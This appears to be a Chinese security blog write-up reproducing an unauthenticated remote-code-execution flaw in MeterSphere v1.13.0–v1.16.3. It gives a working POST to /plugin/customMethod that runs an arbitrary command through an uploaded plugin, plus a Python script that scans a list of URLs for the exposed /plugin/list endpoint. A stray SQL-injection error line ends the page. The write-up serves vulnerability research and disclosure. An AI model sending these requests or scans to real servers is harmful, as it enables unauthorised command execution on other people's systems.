Metersphere未授权RCE
一、环境搭建
影响范围:MeterSphere v1.13.0 - v1.16.3
可以去releases里面找以前的版本
或者直接在官网下载也可以,建议下载离线版本
随后下载到服务器并解压
tar -zxvf metersphere-offline-installer-v1.13.0.tar.gz
直接运行install.sh即可
./install.sh
然后等待片刻即可,然后查看docker ps
然后这个时候访问ip:8081
端口即可,如果访问的时候提示超时或者其他情况,等待一下就行
二、漏洞复现
账号为admin
密码为metersphere
我们访问到插件管理后,burp抓到一个包,一个list包
然后我们就可以发现,把cookie删掉,也是可以访问到这个接口
那么这样,我们随意上传一个插件试试
随后会抓到一个add的请求
那既然这样,大概的流程如下
通过在twitter中搜集信息和查看官方插件发现
都用了io.metershpere.plugin.DebugSampler
那么我们直接在github里面搜索, 然后选择code就会发现一个github
https://github.com/metersphere/metersphere-plugin-DebugSampler
随后我们先把这个项目下载到本地,mave重新打包一下
然后直接上传这个插件
然后点击查看脚本
会抓到如下请求
这里我想的是能否把这些返回信息改成返回执行的系统命令,或者去写那个自定义方法
我们可以看到这里留给了一个自定义的方法,可以编写自己的代码逻辑
因为Java不太行,所以这里感谢zhzyker提供的jar包
我们将插件上传后可以去docker中查看日志
我们可以看到这里的日志已经执行了
然后我们构造如下请求
POST /plugin/customMethod HTTP/1.1
Host: ip:8081
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 68
Content-Type: application/json
{"entry": "io.metersphere.plugin.DebugSampler.cmd", "request": "id"}
即可执行任意命令
通过JD-GUI反编译jar包也可以看到,新建了一个cmd类,里面再customMethod方法里面写了执行请求过来的命令
然后我们看官方的修复,发现新增了一行代码(虽然没有自己debug和看)
并且删除了
三、POC
poc编写比较简单,只需要判断/plugin/list
是否可读即可
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''
@Project :UzJuSecurityTools
@File :poc.py
@Author :UzJu
@Date :2022/1/7 21:21
@Email :UzJuer@163.com
'''
import requests
requests.packages.urllib3.disable_warnings()
requests.DEFAULT_RETRIES = 100
def checkVuln(url):
poc = "/plugin/list"
r = requests.get(url=url + poc,
verify=False,
timeout=3)
if r.status_code == 200 and b"data" in r.content:
print(f"[+]{url}-存在漏洞", r.content)
else:
print(f"[-]{url}-不存在漏洞")
if __name__ == '__main__':
with open('./url.txt', 'r') as f:
for url in f.read().splitlines():
checkVuln(url)
扫描二维码推送至手机访问。
版权声明:本文由UzJu的安全屋发布,如需转载请注明出处。
SQL ERROR: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'